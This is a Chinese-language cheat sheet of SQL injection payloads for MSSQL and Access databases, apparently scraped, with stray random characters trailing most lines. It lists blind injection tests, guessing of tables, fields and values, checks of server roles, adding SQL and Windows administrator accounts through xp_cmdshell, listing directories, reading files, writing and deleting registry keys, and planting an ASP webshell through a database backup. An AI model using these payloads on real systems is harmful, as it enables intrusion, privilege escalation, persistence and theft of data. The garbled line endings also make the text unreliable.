1.判断是否有注入;and 1=1 ;and 1=2 .\
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2.初步判断是否是mssql ;and user>0 S[l z>I
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3.注入参数是字符'and [查询条件] and ''=' AJoP3Zv|?
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' {yxLL-5c
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5.判断数据库系统 m_;XhO
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;and (select count(*) from msysobjects)>0 access 3CSwcD
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 !xU\s'I+#
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 A`I1G9s
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 u3jLe=Y'\
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9.(1)猜字段的ascii值(access) btDTC9O
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 O4^' H}*
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(2)猜字段的ascii值(mssql) )[E7\pc
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 c48I-{?
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10.测试权限结构(mssql) ,K.Wni#m
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- ndvt
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 5E${
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- K8v@)
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 7?uIl9Vk>(
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- :?)q"hE
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- hu~XFRw15
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;and 1=(select IS_MEMBER('db_owner'));-- $A98h-*x
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11.添加mssql和系统的帐户 b>& 3XDz
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;exec master.dbo.sp_addlogin username;-- WvcPOt8Bp>
;exec master.dbo.sp_password null,username,password;-- :;&3"-
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- @Fb
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;exec master.dbo.xp_cmdshell 'net user username password a0`(*#P
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- U@LIw6B!KL
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- {w v{"*Q9Q
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- -Y>QKS
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12.(1)遍历目录 C]krJse@
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;create table dirs(paths varchar(100), id int) W: 3fLXk+
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;insert dirs exec master.dbo.xp_dirtree 'c:\' Ge*N%=MX8
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;and (select top 1 paths from dirs)>0 y# IUDnRJ
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) ca:Vdrw`
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(2)遍历目录 ~AcjB(
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- zHXb[$Q
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 pH396GFIW
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 oK2j PP
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 9lqD~H.
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 /)V8X#,
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13.mssql中的存储过程 zoau5t
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xp_regenumvalues 注册表根键, 子键 stq%Eg?
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 9i!|wkx
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xp_regread 根键,子键,键值名 zCj#Nfm
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;exec xp_regread H `_{n<
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 L ?S#3@Pa
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xp_regwrite 根键,子键, 值名, 值类型, 值 S\6.vw!'
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 )fbYP@9>a
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 |N5|B Q(y$
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xp_regdeletevalue 根键,子键,值名 b5l;bXp]
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 >8gb/?z
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 F?4&qbdD
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14.mssql的backup创建webshell IGI$,C
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use model 1*OZu.NdK
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create table cmd(str image); -\8v{ry
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insert into cmd(str) values (''); ;_A?Zl}
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backup database model to disk='c:\l.asp'; o AM)<#U>
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15.mssql内置函数 gLWbd~
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;and (select @@version)>0 获得Windows的版本号 l
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa G4J)o?:m@
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;and (select user_name())>0 爆当前系统的连接用户 mfr7w+DK
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;and (select db_name())>0 得到当前连接的数据库 .\"8H1I\T
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16.简洁的webshell &>vfm9
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use model 2:;;
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create table cmd(str image); "IRF^1 p
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insert into cmd(str) values (''); otdm rw|
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backup database model to disk='g:\wwwtest\l.asp';